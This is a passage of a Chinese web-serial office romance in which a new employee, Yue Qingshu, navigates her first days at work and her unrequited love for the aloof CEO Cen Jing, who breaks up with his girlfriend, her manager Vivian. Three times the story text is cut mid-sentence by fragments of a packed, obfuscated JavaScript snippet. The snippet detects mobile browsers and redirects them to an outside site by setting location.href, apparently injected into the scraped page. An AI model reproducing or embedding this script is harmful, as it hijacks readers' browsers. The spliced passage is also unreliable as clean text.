还不高兴,就送套高定珠宝。 要是觉得岑景不陪她,自己无聊,他收到信息也会给对方定个头等舱机票。 让她带着闺蜜出去旅行。 简单来说就一句话,别烦他就行。 女朋友这个身份的作用,也就是帮岑景挡点儿麻烦事。 甚至没有人说得清楚,他到底喜不喜欢对方。 这都不重要,反正他每次分手都干净利落,毫无留恋。 只能说一个愿打一个愿挨,各取所需,岑景谈恋爱贯彻那句“嘘寒问暖不如打笔巨款”。 徐澈时觉得,只要不爱上他,其实那些女人呆在岑景身边,还挺赚的。 ……只是可惜。 他妈的,每个跟他谈的女人都会爱上他,爱到痛不欲生,断舍离的时候一个个都要命。 徐澈时也记得,岑景的前一任,分手以后要死要活的,问他有没有爱过。 岑景没有回答,反而是问她:“你想从我这里拿走的,是爱吗?” 你应该很清楚,从我这里拿走的是身份、虚荣、金钱。 有时候是真的想不通,这么一个自私傲慢的人,怎么会被那么多人爱着? 爱都流向了不需要爱的人。 钱也是。 这个世界的一切,对于岑景来说,要得到都太轻易了。 他什么都不缺,也什么都不想要。 自然有高傲的资本。 所以此时,谁也不想到,两年后的某天,岑景会站在空荡荡的水族馆玻璃缸前。 “我给她自由。” 会在无数个辗转反侧的梦里,看着那道抓不住的影子。 也会在看到一个像她的背影的时候,回眸去问。 “那是越清舒吗?” 他轻易地得到了一切,但也是如此轻易地失去了一切。 13.[the thirteenth day] [the thirteenth day] - 入职通知收到以后。 第二周的工作日就需要马上去办理入职。 越清舒依旧坐三十六路公交车去的,出门之前,难得今天妈妈和周叔都在。 两人还说她。 “有什么事别自己憋着啊,跟家里说,岑景那小子做事情比较无情点,估计很难照顾到你。” “但没事,我们永远站在你身后哈哈。” 越清舒笑笑,拒绝了,说自己这次回来,本来就是为了自己拼一拼。 大家说她没苦硬吃。 但只有越清舒知道,她心里其实一直都有过不去的坎。 她知道周叔是很好的人,知道爸爸妈妈只是因为感情不和而分开,也知道自己在这个家里,也是宝贝。 但她始终觉得自己在某些时刻是个外人。 如果没有她。 就好了。 上车后,越清舒就在车上搜寻一道身影,一直等到已经到公司。 她还是没见着邓佩尔。 难道是面试没过?好可惜…她感觉,能跟这个女生成为很好的上班搭子呢。 新人入职第一天,基本没有什么实事要干,更多的还是熟悉部分和同事。 Vivian今天出差,来接她的人是一个叫陈若思的女生。 Vivian毕竟是整个市场部的大领导,不可能进来个新人都要亲自带。 越清舒进喜莱以后,需要跟随的第一个上级就是陈若思,算是她的mentor。 在这种阶级分明人员复杂的公司里,mentor和leader是有很大区别的。 mentor是导师、入门师父,leader则是领导。 陈若思跟她年纪相仿,但早进喜莱两年,这会儿给越清舒当mentor,被越清舒叫师父还有点不好意思。 “天哪,我平时在路上看到大美女都不敢吱声,现在来个大美女叫我师父,我真的受宠若惊啦!”陈若思说,“我一定会好好对你的!” 越清舒笑出声,“我不给你添乱子就行。” 陈若思虽然有点小咋呼,但还是很靠谱的,她领着越清舒去认人。 “我们市场部主要分为两个两个职责部门,一个广告运营部,一个品牌策划部。” “一般像你这样刚进来的,试用期都会在两个部分转来转去,看哪个部门更适合你。” “前两个月在策划部,由我带你,回头你也会去广告部那边。” 陈若思先带着她去的策划部。 “北部度假村的策划项目主理人,安佑行。” “酒店运营策划,张渺。” “我呢,最近在做商场和一些招商策划的项目。” 大家本来都在忙,见陈若思带新人来,赶紧抬头打招呼。 “哟,新人啊。”张渺起身给她递咖啡,“我今早咖啡买多啦,你喝不?丝绒拿铁。” 安佑行说她:“你这多的咖啡就给新来的美女喝了?” “不给美女喝,给你这个傻逼男人喝啊?”张渺翻了个白眼。 越清舒觉得他俩关系有点微妙,看到两个人情侣手机壳,愣了下。 陈若思靠过来说:“喜莱是不禁止公司内恋爱的。” 越清舒眉梢一扬。 有些惊讶。 在她的印象中,岑景略微有些恪守成规,现在看来也不完全是嘛。 “主要是管不着。”陈若思补充道,“就算禁止,也会有人偷偷谈的,所以大BOSS干脆就放开了。” 策划部这边的同事,接下来两个月他们还会长期接触和熟悉。 她们又去广告部那边。 不过进门之前,陈若思就提醒她:“我跟你说啊,广告部这些人一个个龟毛死了,特别是他们的领导,烦得要死。” 越清舒下意识地接话:“比岑景还……?” 她话还没说完,被陈若思一把捂住嘴。 “你干嘛啦,你疯啦?”陈若思大叫,“进公司第一天就说大BOSS坏话,你真的不要命啦!” 越清舒眨了眨眼,安安静静地用眼神表示。 [我下次会注意的!] “可以以后再说。”陈若思说,“偷偷说,别这么大声说。” 越清舒突然笑出声,“看来你们也不爽他很久了哦…” “天哪,哪会儿会有人上班不恨老板?”陈若思吐槽,“总不可能有人上班喜欢上老板吧?这跟上学喜欢老师,军训喜欢教官,看病爱上医生有什么区别?” 越清舒:“……” 越清舒:“嗯,你说得对。” 两人闲聊着,走到广告营销部门口,人还没进去,就听到里面在吵架。 “Lucy!!我上次怎么跟你说的,这个企划主要投放线下,你的线上额度是不是给得太多了??” “上次Laurens那边批的是首批两百万的线上投放,我拿报告书干活,有什么问题你去找Laurens。” “操,Laurens那个傻逼——” 不出几秒,有人摔了办公室的门,隔壁又嚷嚷起来了。 “faye,别那么激动,你这样以后怎么做领导?” “给老娘闭嘴,傻逼!” 越清舒:“……他们广告部炮仗这么大吗?” “团队文化。”陈若思说着,又压了压声音,“很久以前,BOSS主管这边的。” 越清舒点了点头。 觉得陈若思在暗示她—— 广告部门这边素质这么低,吵吵闹闹的,都是岑景带坏的。 “那Vivian呢?”越清舒对她的印象挺好的。 面试的时候感觉是个很雷厉风行的温柔大姐姐。 跟广告部的氛围不太一样。 只是她好像一直都叫“Vivian”,没怎么叫过中文名。 广告部门和广告公司有个不成文的默契规定:每个人都是叫英文名。 因为很多广告合作都涉及国际合作,用英文名方便沟通。 所以越清舒就有些怀疑,Vivian是不是也是广告部来的。 “Vivian是策划部出去的。”陈若思说,“有排面吧?所以现在有时候两边吵起来,Vivian还要护着点儿咱们策划部的。” 陈若思也不等里面吵完,专门冲进去看热闹,她开口就阴阳怪气道。 “哎哟,你们这边怎么又吵起来了,一会儿吓到我们的小新人了怎么办?” Lucy一个机灵站起来:“什么新人,你们策划部门又有新人了?我们广告部是什么天生牛马的命吗?” 最近真是忙得要死了。 登亚那营销一出,搞得他们焦头烂额,营销企划重新做了一个又一个。 Lucy话音刚落,恰好看到越清舒跟在陈若思旁边进来。 她愣了一下。 给陈若思使眼色。 -这么漂亮? -嗯,就是这么漂亮。 Lucy多打量了她几眼,又回头睨了一眼办公室那边,faye和Laurens还没吵完。 这么漂亮的话,得小心点Laurens那个渣男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13829331|145182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我带她来熟悉熟悉人。”陈若思说,“这是Lucy,目前主要负责线上这一块。” “Laurens是他们的leader,我们很多投放的报告,都得从他手里过。” “faye是跟我们策划部沟通最多的人,主要是在中间负责统筹规划。” 两人在外面跟Lucy闲聊了一会儿,一直等办公室里面的人吵完架出来打照面。 越清舒感觉到,介绍Laurens的时候,陈若思一直下意识地把她挡在身后。 Laurens伸手要握手示好的时候,也被陈若思打了几个哈哈,给糊弄过去了。 … 回到自己工位上的时候,越清舒看到一盆可爱的小多肉。 是陈若思送她的入职礼物。 “好了,我等下把最近的工作用内部软件发给你,你先熟悉熟悉哈。”陈若思说。 越清舒应着好,跟她说了谢谢,随后伸手去戳面前那盆小多肉。 陈若思送她的那盆多肉是“姬玉露”,矮矮小小的,有些剔透的晶莹感。 第一次进入职场的感觉,还是挺奇妙的。 越清舒其实不太擅长跟太多人相处,她喜欢简单干净的人际交往关系。 有时候觉得社交很累,更喜欢自己窝起来补充能量。 但职场避不开社交,特别是他们这样需要时刻沟通的部门。 越清舒想到刚才陈若思的细节小动作,意识到可能很多事情,并不会很顺利。 职场是非常复杂的社会。 不仅人与人之间复杂,每个人也有自己的多面性… 单单只是广告部和策划部几个管事的人,都认得她头疼,很难想象以后人更多,要去接触更多人的情况。 但这好像也没办法。 学会自己独立在职场上处理复杂的人际关系,是最难,但也是必须要做的一步。 她继续戳着这盆小多肉。 忽然想到那元气满满的邓佩尔,如果是她这样的人,应该可以开开心心地工作,可以轻快地解决很多事情吧? 越清舒将,手机拿出来翻来覆去地看,思考了一会儿后,给陈若思传了一则信息。 -【师父,你知道开发部那边有来什么新人嘛?我们当时一天面试的。】 陈若思回得很快:【这个不太清楚,得问人事部,或者我去开发部问问?】 越清舒觉得有点麻烦她。 毕竟陈若思在公司的职称也不算高,人事部门一向拽拽的,到时候,万一人家觉得陈若思多管闲事呢? 越清舒:【没事的,不用问啦。】 社会太现实了,很多人巴不得帮领导干一堆费劲儿事,但对于阶级不如自己的人,举手之劳都懒得动手。 她又想了想,最后点开手机,给岑景发了条微信。 越清舒:【岑小叔,有件小事,可以麻烦你帮个忙吗?】 有求于人,称呼上是尊重一点。 她的消息发出去就石沉大海了,越清舒想着,也是,岑景每天那么忙,估计没空理她的无聊消息。 临近下午快下班,她收拾着东西,忽然看到岑景的回复。 【上班第一天就有事需要帮忙的话,之后的事情你更处理不了。】 越清舒觉得他对自己意见很大,特别是最近,明明以前没有这么凶。 像是故意给她甩脸色。 越清舒压了下嘴角,继续收拾东西,没很快回他。 打完下班卡后,她的手机又震动了两下,摸出来一看。 -【?】 -【什么事。】 14.[the fourteenth day] [the fourteenth day] - 越清舒收到他的信息,把手机往包里一扔。 走了。 秋天雨季,降雨实在多,她站在门口,看到旁边有一团乌云慢悠悠飘了过来。 耳机里播报着今天的天气。 “请各位出行的市民注意,目前局部地区降雨,出行请带好雨伞。” 她伸手去包里拿自己的胶囊小雨伞。 学乖了。 不再带那把笨重的长柄伞了。 一阵冷风呼啸,从长裙的裙底钻进去,冷得越清舒缩了缩,正要把雨伞拿出来的时候… 视线的余光被黑色的车身覆盖。 她没看清车牌,只是微微抬眸,一眼看过去,车窗缓缓摇下来。 男人单单给她说了两个字:“上车。” 越清舒:…… 岑景见她没动,又回眸,语气和目光都很淡,却又强势地掌控着她的行动。 “越清舒。” “你再不上车,是想让更多人看到我在路边等你?” “到时候传成什么样,我倒是不介意。” 越清舒被他一阵威胁,马上乖乖地飞速拉开车门。 她上了车,就听到旁边的岑景轻嗤着笑了一声。 岑景有时候觉得她挺有意思的。 她明明把喜欢他这件事摆在台面上,却又喜欢跟他保持一定的距离,比谁都担心会传出绯闻。 他没忍住说她。 “在讲究什么?又不是第一次上我的车。” 越清舒把自己的背包放在腿上重新拉好,姿势乖得令人心软。 哦对。 他差点忘了,她是个乖宝宝。 她温顺地垂着眉眼,也不顾前面的司机有没有在听,倒是一如既往地坦诚。 “不一样了。”越清舒稍作停顿,“我以前因为周叔才受到你的照顾,你对我只是长辈的关心。” 岑景打断了一下:“现在也是。” “不用你说。”她知道,“但对我来说不一样,我喜欢你,你又有对象,我要学会避嫌。” 岑景没说话。 只是过了会儿,反而是越清舒提醒他:“你可能是无所谓,但她一定有所谓。” 岑景不是个好人。 越清舒知道。 要说的话,她过往那些年对于岑景的了解,都是很浅的礼貌往来。 现在才稍微靠近了一些。 他是一个经不住靠近的人,越是靠近,越会发现他真的有很多毛病。 明明有恋爱对象,却让她上了车。 或许,她就是爱了一个坏人吧。 岑景也没跟她掰扯这个话题,双手交错,看着没放在心上,只是自然地切换道。 “你下午说的什么事?” 越清舒现在心里不是很高兴,赌气道:“没什么。” “不打算说?” “说了有什么用,你自己说的,什么都不会做,不会给我开后门,也不会帮忙。” 虽然越清舒觉得,这是个私事,但她的确不打算说了。 岑景最近才发现,越清舒有时候犟得很,表面上看起来乖巧、见好就收,实际上就是犟。 他睨了她一眼。 本着一些玩味的态度,忽然就有点想撬开她这张什么都不说的嘴。 “你要说的,应该不是公事。”岑景的语气愈发收紧,“既然是私事,就不受约束,说吧。” 越清舒:“你怎么知道不是?” “你倒也还没有蠢到上一秒来求我,下一秒就想通了。”岑景笑了声,“你自己不是很清楚吗?” 如果是公事,他不会帮忙。 所以真的是工作上的事情,她一开始就不会说。 “那你…”越清舒止住,一时有些语塞。 既然他知道,为什么还要说那句话训斥她? 故意的? 岑景没管她,挑眉示意:“说事情。” “私事,我有权利不说。”越清舒还是不想说,“那你也管不着我。” 两人之间的炮仗突然就炸起来了。 岑景冷笑了一声,告诉她:“找我解决,不就是因为别人处理不了?” 给她机会,倒是忽然闭口不谈。 小姑娘的心思难猜。 “没有,这也不是那么大的事情。”越清舒说的是实话,“不用劳烦您了。” 岑景不再说话。 车继续往前行驶,过了堵车的路段,准备转弯的时候,在前面安静听着的司机忽然开了口。 “老板,是回你家还是…”他问。 岑景皱眉,“怎么,她家你找不着?” 回他家,像话么。 这司机给岑景开车也好几年了,当然去过越清舒家里很多次。 他也知道越清舒和岑景的关系。 刚才听他俩的对话,大脑一下子□□死机了。 过了好久。 越清舒心里那诡异的火压下去了一些后,她拿出手机回信息。 在回沈念温和云见消息的时候,无意识地哼了一首小甜歌的调调。 这首歌是早上的时候沈念温分享在群里的。 她说,痛苦的打工日,只能听点甜的东西来恢复一下活力! 越清舒当时忘了切歌,单曲循环了一路,没想到就这么印在了自己的脑海中。 她甚至不知道自己在哼歌。 还是被岑景打断提醒才知道的。 “又哼上歌了。”岑景微微侧目,“你们这种小姑娘的心情比变天还快?” 越清舒:“……” “你不是谈过恋爱吗?” “那又怎么?” “你谈恋爱的时候,不会在乎女朋友的心情变化吗?” 越清舒怎么想,都觉得这是很正常的情绪变动,又不是全世界的人都跟岑景一样。 情绪稳定得像是死了。 身旁的男人沉默了许久,最后无情地说了两个字:“不会。” 他嫌麻烦。 最麻烦的事情,无非就是照顾别人的情绪。 越清舒敛眸,她忽然觉得跟岑景谈恋爱是一件很可怕的事情。 但这不是最可怕的,最可怕的还是—— 她明明知道那是一道深渊,却还是喜欢他,若不是他有恋爱对象。 越清舒觉得自己应该会更大胆一些为自己争取。 或许他有女朋友这件事,对她来说是上天的恩赐,提醒她离岑景远一点。 又是一阵沉默后。 岑景突然问她:“所以你在生什么气?” 越清舒其实也有点说不上来。 可能是因为他回信息的训斥语气,可能是因为她第一天上班对未来的不确定。 也可能是因为他明知可能会让她陷入窘境,但还是强势地堵在路口让她上车的那蛮横无理的态度。 越清舒觉得。 岑景还是不够尊重她,他狗眼看人低。 越清舒想到这些,虽然不再生气,但依旧不是很想理他,别开头。 “我生我的气,跟你没关系。” “就算我喜欢你,这个时候也不需要你的安慰。” “反正你也说了,我喜欢你,是我自己的事情,你管不着。” “所以现在,你也管不着。” 越清舒一口气输出了一大段,岑景本来已经没有再跟她较劲儿。 但她还觉得没完,说完以后又转头凶巴巴地看着岑景,要把前几天受的委屈一下子全部发泄出来。 “你用什么身份管我?” “又不是我有血缘关系的小叔,血缘身份上也坐不实。” “而且你凭什么关心我?按照正常人的处事逻辑,你既然知道我喜欢你,就别在我面前好心关心惹人烦!” “你都有女朋友,还让喜欢你的人上车!” “岑景。” “你真不是个东西。” 他被骂了一通后,丝毫没有任何失态,反而是眉梢轻扬。 岑景问她:“骂爽了?” 越清舒:“……” 男人懒洋洋地往后一靠,将手搭在中间的扶手上,手指在上面轻拭。 “我什么时候说过,我是个好人了?” 随后,他侧过来一个锋利又危险的眼神,带着玩味的笑。 半真半假之间。 她的灵魂被岑景放在了天秤上轻轻掂量,像是被抓住小尾巴的蜻蜓。 明明应当是暧昧的询问,却被他说得很淡。 “所以,现在知道我的真面目了,还打算喜欢我吗?” 越清舒喉咙间一滚。 没说话。 匆匆瞥开头,在雨天的沉默中,她避无可比地“嗯”了一声。 喜欢。 还是喜欢。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13844206|145182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 太奇怪了,为什么一直喜欢,就算知道他不做人事,也喜欢。 岑景忽然笑出声,把她跟自己一起揶揄了番。 “越清舒。” “你眼光不怎么好。” … 返程路程有些堵车。 越清舒觉得不如自己坐公交车通畅。 明明是局部降雨,但从她上岑景的车那一刻开始,那团乌云就一直追着他们跑。 ……难道是岑景亏心事做多了? 一路堵着,快到的时候,岑景接了个电话,越清舒隐约听到那边的女声。 声线不太清晰,只能听出来对方大概得语气,刚开始还很平静,后面语气忽然变得急切。 越清舒想。 就岑景这个态度,谁跟他在一起都急眼。 “等你出差回来再谈。” “是么。” “你知道的,我喜欢你懂事和不乱发脾气的样子,你想要的我都给了。” “很抱歉,如果你是这样的要求,我很难做得到。” “大家都是成年人。” “不要再没有意义的事情上浪费时间。” 这场通话不是很愉快,岑景的情绪一直都很稳定,而对面的人好像都快要崩溃了。 越清舒觉得这很可怕。 她无法想象,如果自己在声嘶力竭,对方却毫不在意的样子。 听别人吵架,总让人有种局促感。 岑景挂了电话以后,车内安静得有些尴尬,越清舒觉得不太舒服,主动提起。 “女朋友吗?”越清舒说,“她好像不是很开心,其实你放软点语气,哄哄就好了,女孩子都很好哄的。” 情绪来得快,去得也快。 男人大多喜欢讲理性和逻辑,对一件事情的是非对错喜欢深究到底,一定要从逻辑上得到认同。 但女人与之相反。 有时候是非对错没有那么重要,重要的只是情绪价值。 女人多笨啊,只需要那么一点的情绪价值,她就能连你杀人都能帮你递刀。 越清舒觉得自己也是挺荒唐的。 她竟然在教自己喜欢的人怎么哄女朋友,说到底,她本来就没有想过跟岑景有什么结果和故事。 她只是,很简单地喜欢着他。 简单到,只是希望他好好过,能幸福。 如果岑景能跟女朋友相处得很好,能有人治治他的坏脾气,把他变成贴心的男朋友。 也很好。 那至少说明,他在享受这段亲密关系。 越清舒一边说着,一边觉得心间有些轻微的、抑制不住涌上来的酸意。 岑景还没回答,垂着眼在手机屏幕上轻点,回复信息。 她继续说着,“女孩子有情绪是因为她喜欢你…这不是挺好的吗?而且你都这个年纪了…” 稳定下来,也挺好的。 越清舒是知道怎么给自己捅刀子的,她想,或许哪天岑景真的彻底定下来了。 她也会慢慢放下吧。 那是就算放不下,也必须放下了。 靠这个断了自己的念想。 只是越清舒的话还没说完,身侧传来衣物摩擦窸窣作响的声音。 “不必。”岑景开口道。 他把手机屏幕摁熄,随意地扔在一边。 就像他丢掉一段感情那样。 “分了。” 越清舒的喉咙忽然像被一把小刀深深刺入,哑住,声音有些轻颤。 “就这样?”她问。 就这样,轻飘飘的,分了? “不然呢?”岑景反问她,“我讨厌麻烦的关系,没必要。” 她讷讷看着眼前的男人,觉得他陌生且可怕。 越清舒一直没说话。 看着在闭目眼神的岑景,他抽身离开一段关系,真的毫不犹豫。 咫尺之间,他又缓缓睁开眼看着她的神情。 “你有什么好难过的?”岑景不懂她。 在男人的思维中,他们只有强烈的控制欲和占有欲,缺乏共情能力。 明明只是一段各取所需的恋爱关系,岑景自认为待对方不差。 怎么落在她眼中,就变得十恶不赦了? 虽然此时的岑景觉得自己对越清舒没有任何想法,但他还是轻蔑地笑了一声,故意逗她。 “怎么。” “我单身了,你还不开心?” 15.[the fifteenth day] [the fifteenth day] - 后半夜雨停了。 越清舒洗完澡出来,穿着秋季的长款睡衣,坐在换好的毛绒地毯上。 她捧着一杯热牛奶,又想到岑景下午说那句话。 有点生气但又有点无力。 更奇怪的是,她对岑景起了报复心。 越清舒并没有纠结这件事太久,喝完牛奶又去漱了个口,钻进被窝里睡去了。 只是今晚的梦境不太安稳。 她梦到岑景凑近她,呼吸都快落在她的脸上。 “怎么了越清舒,装什么圣人,你不是很想得到我吗?” “生气是没用的。” “你看,你还是不可自拔地爱上了我这个坏人。” 越清舒被早上的闹钟吵醒的时候,第一次觉得闹钟救了自己一命。 ……岑景这人虽然自我意识过剩,但应该还不至于在她面前说这种话? 但又太真实了,太像他的语气了。 一路上都有些晕乎乎的,她今天运气好,上车后找到个位置,靠着车窗发呆。 路途过半,一道有些熟悉的女声划破空气。 “别挤了!!再挤,我就原地倒下,讹死你们!!” 越清舒抬眸看过去,看到小小只的邓佩尔从人群中挤上来,头发都乱了。 她也看到了越清舒,眼神闪光,马上又挪步到她旁边。 “清舒!”邓佩尔很是自然,“啊啊啊终于又遇到你啦,那天竟然忘记留微信了!还好还好…” 邓佩尔顿了顿。 “我们竟然又在公交车上相遇啦,既然是这个时候…” “那!” “你肯定也是通过了面试吧!” “我们以后是不是要当同事啦?” 旁边的人:…… 怎么会有人把“当同事”这件事说得这么兴奋?社畜上班的怨气大得,有时候恨不得把同事全杀了。 越清舒点头:“嗯。” “太好了!”邓佩尔拿出手机,“我们先加微信呀。” 到公司的这条路有些无聊,但她上车以后就不无聊了,越清舒更擅长当倾听者。 她话少,话题总是邓佩尔来找的,两人就这么一路上说个不停。 下车的时候,邓佩尔想起面试那天碰到了大BOSS的车,赶紧把昨天自己打听的消息说给越清舒听。 “你知道吧?咱们CEO是个大帅哥,据说帅得人神共愤。” 越清舒没忍住笑出声。 岑景是长得很好看…但,人神共愤是什么形容词? “哎,真不知道咱们公司会有多少人喜欢他!不过据说,他这人超级冷漠,超凶,你可千万别喜欢他啊。” 越清舒嗯了一声,心里却在低念。 晚了。 她已经喜欢他八年了。 邓佩尔说完,忽然想到一件事,又拍了拍自己的脑袋:“哎哟,瞧我这记性,我都忘了你有一个喜欢了八年的人啦!肯定不会喜欢BOSS的,安全安全。” 越清舒没多说,只是问:“怎么刚上班一天,就对老板怨气这么重?” “我们开发部的怨气比鬼还重。”邓佩尔说,“我就是听大家说的,说老板人模人样,但其实是个不负责任的渣男,玩弄人家感情不眨眼…” 越清舒想了想昨天。 她再一次认可地点了头。 … 每天上下班,有了邓佩尔的结伴,越清舒觉得这条路变得更有趣了些。 闲聊之余。 越清舒听说她在小巷子里租了一套老房子,沪城这边的房租本来就贵,她的经济实力只能找到这个房子。 第一个月押一付三,邓佩尔感觉自己要肉疼死了。 “虽然我的房子破破的,但很温馨!回头等我弄好了,下周末你要是没什么安排,要不要来我家吃饭?” 越清舒应了。 忽然期待起来。 刚开始的工作很快上手,越清舒做得很顺利,大约十天后… Vivian从澳洲的营业部出差回来。 那天陈若思刚好不在,出外勤去做调研了,本来越清舒也要跟着去的,但外面天气不好。 这事说白了,越清舒跟着去,也没有什么大用。 陈若思心疼小新人,便让她留在公司处理其他事情,Vivian一回来就来营销部的办公区叫人。 她眉眼中还有些疲态,淡淡出声:“叫陈若思过来一下。” 越清舒起身:“Vivian…我师父她出外勤去了,现在不在。” Vivian看着心情不太好。 “那你怎么没去?”Vivian问着,看了眼窗外的天气。 陈若思这人心软,Vivian是知道的,她大概能猜到越清舒为什么没去。 但她故意这么问了。 越清舒也有些为难,总不能说是陈若思袒护新人,她只能找了个没什么漏洞的理由。 “公司这边还有很多事情要处理,我需要留下来核对这些信息。” Vivian点头,又看了她一眼:“那西郊那个商场的活动策划,你来给我报告一下。” 越清舒惊讶:“现在吗?” 那不是她主管的项目,而是陈若思的工作。 虽然陈若思有把策划报告拿给她学习和配合处理,但不管怎么说,都不是越清舒自己的。 “现在,”Vivian的态度很强硬,“我也不是随时都有时间来听你们聊策划,抓紧时间。” Vivian的工作很忙碌,不然也不会从澳洲出差后还连轴马上就来了公司。 她说完,就转身进了办公室,等越清舒过去汇报。 越清舒这才转身,先给陈若思打了个电话,告诉她现在的情况。 陈若思那边有些吵闹,“西郊那个项目吗?之前是审过了的,她怎么又突然要?” 越清舒说:“我不清楚。” “哎,算了,领导是这样的,一天一个想法。”陈若思叹气,“我右边抽屉,密码是031799,你照着报告书念就行啊。” 陈若思庆幸自己早有准备。 “好。”越清舒应声,赶紧拿好策划书准备去Vivian的办公室报告。 张渺接完水回来,就看越清舒这么火急火燎的样子,她好奇地问。 “怎么了?” 越清舒:“Vivian说要看我师父的策划,叫我去报告…” “怎么叫你去报告?”张渺皱眉,“这不是你的工作,而且…” 而且哪儿有A的策划让B去打报告的,中间要是出了什么岔子,谁负责? Vivian不可能不懂这个道理。 张渺意识到事情的不对劲,提醒道:“一个字都不要错,Vivian要是问你什么,尽量不要回答。” “嗯,谢谢。”越清舒其实也看出来了,“Vivian她…可能心情不太好。” “应该是。”张渺点头,“听说,这次BOSS叫她去澳洲出差的事情好像比较难办,估计在外面没少吃苦头。” 越清舒表示理解。 其实没有人能够彻底地把所有情绪都分开。 “去吧,你自己注意点。”张渺又安抚她,“不过应该问题不大。” 这点小事,就算被领导为难,也不是什么过不去的坎。 两分钟后。 越清舒带着陈若思做好的那份策划书去报告。 Vivian手边放着一款价值不菲的高奢包,越清舒一眼认出。 莘兰有个同款。 据说全球限量五个。 莘兰的那一只,是周为麻烦岑景帮忙订的,而Vivian手边这只… 越清舒是个聪明人。 忽然想起十天前在岑景的车上听到的信息,他说等她出差回来。 心间猜测不定。 越清舒没有继续往下想,只是乖巧听话地读着这份策划书。 陈若思是怎么写的,她就是怎么读的,一字不落。 但Vivian听完以后,忽然发难。 “之前的预算现在批不了,预算和明细都需要重做。”她说,“你进来也有小半月了,说说吧。” 越清舒微微颔首。 Vivian:“预算部分,如果是你,打算减哪里?” 越清舒知道这不是自己的事,不应该往下,但她现在进退两难,被Vivian拱到这个位置。 “营销。”越清舒回答得很快,“如果前期预算投入必须要减少的话,肯定是先减少广告投流版面。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13856388|145182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > Vivian示意她继续说。 越清舒也只能硬着头皮往下,尽量保守。 “如果是我处理这个策划。” “我会先保证前期的其他投入和建设,等正式投入运营以后,后续再申请新的营销版面和推流资金。” “但每个人都有自己的处理方式,这是我师父的策划,她应该也有自己的想法。” Vivian轻笑了一声,把策划书递过来,意有所指地暗示:“是么?我还以为你们师徒同心呢。” 越清舒接过汇报完的策划书退了出去,给陈若思发了个微信提前说明情况。 不知道这件事… 会不会影响到她,希望不会。 越清舒这个人不是很怕麻烦,她最怕的其实是给别人添麻烦。 … 下午。 Vivian从办公室出去,转身就上了楼。 CEO办公室在五十八楼。 岑景的办公室门被敲响的时候,他刚午睡醒来,Vivian卡在了一个他休息的时段来。 岑景习惯提前二十分钟醒,方便调整。 难得的空隙,都能被她逮住个正着。 汪嘉瑞进来报告,低声:“BOSS,Vivian来了,让她进来吗?” 他不知道是私事还是公事,便没有深入说,只是跟岑景问询道。 岑景懒洋洋地抬眸,先说:“白茶。” 随后才擦了擦手和眼镜,目光冷淡又沉寂,开口道:“让她进来。” Vivian这个人鲜少狼狈。 只有在岑景面前的时候,永远会在他的眼神中自惭形秽。 “有事?”岑景重新戴上眼镜,“这次工作内容完成得不错,我已经收到了报告,这件事处理好,年底你能拿到不错的奖金报酬。” “你知道我要的不是这个。”Vivian忽然说。 岑景抬眸,明白她想聊什么,用眼神示意汪嘉瑞先出去。 两人之间沉默了一会儿。 岑景不喜欢对一段感情纠结太久,他主动开口,给Vivian下最后通牒。 “我想我们一开始就说得很清楚,好聚好散,你就着这个身份,也捞到不少好处。” 钱,身份,什么都有。 Vivian其实也知道,她当初跟岑景在一起,就是不能奢求太多的, 恋爱关系的提出好像也很轻易。 是她随岑景出差,他绅士礼貌地照顾下属,帮她挡酒。 那天出去后,她主动问岑景。 “既然公司不禁止内部恋爱,是不是代表,我有站在你身边的可能性?” 岑景毫不意外地看了她一眼,轻笑:“你喜欢我?” “嗯。” 他当场计算了她的价值和可用性,点头同意,但在开始之前,岑景的约法三章就很清晰。 不接吻、不上床,他满足不了其他人的身体欲望。 有事说事,他不接麻烦的情绪。 物质条件可以给,身份可以给,但要听话。 只是每个人在岑景身边,都会不小心沦陷,再沦陷。 那刻在骨子里的救风尘,觉得自己是特别的侥幸心理一直作祟。 人根本无法在爱里清醒。 就算一开始什么都知道,却又什么都做不到。 Vivian是个识趣的人,她在岑景无情的眼神中看到了答案。 “岑景。” “你真的有爱过一个人吗?” 岑景没有回答,抬眸看着她的时候,Vivian就有了答案。 她忽然笑了,出于某种报复心对岑景说。 “那就祝你爱一个,不爱你的人。” 岑景依旧神色寡淡。 余光扫到电脑屏幕上的一个名字:“越清舒” 他平时不爱聊天。 跟越清舒的对话框都还在微信的第一页,岑景微微侧目,就刚好看到她的名字。 伴着Vivian这句诅咒。 他竟然想到越清舒在海风四起的海岸边上回头说她喜欢他的表情。 和她窘迫尴尬却又承认自己还喜欢他的无奈模样。 岑景微微点了下头。 告诉Vivian。 “那可能会让你失望了。”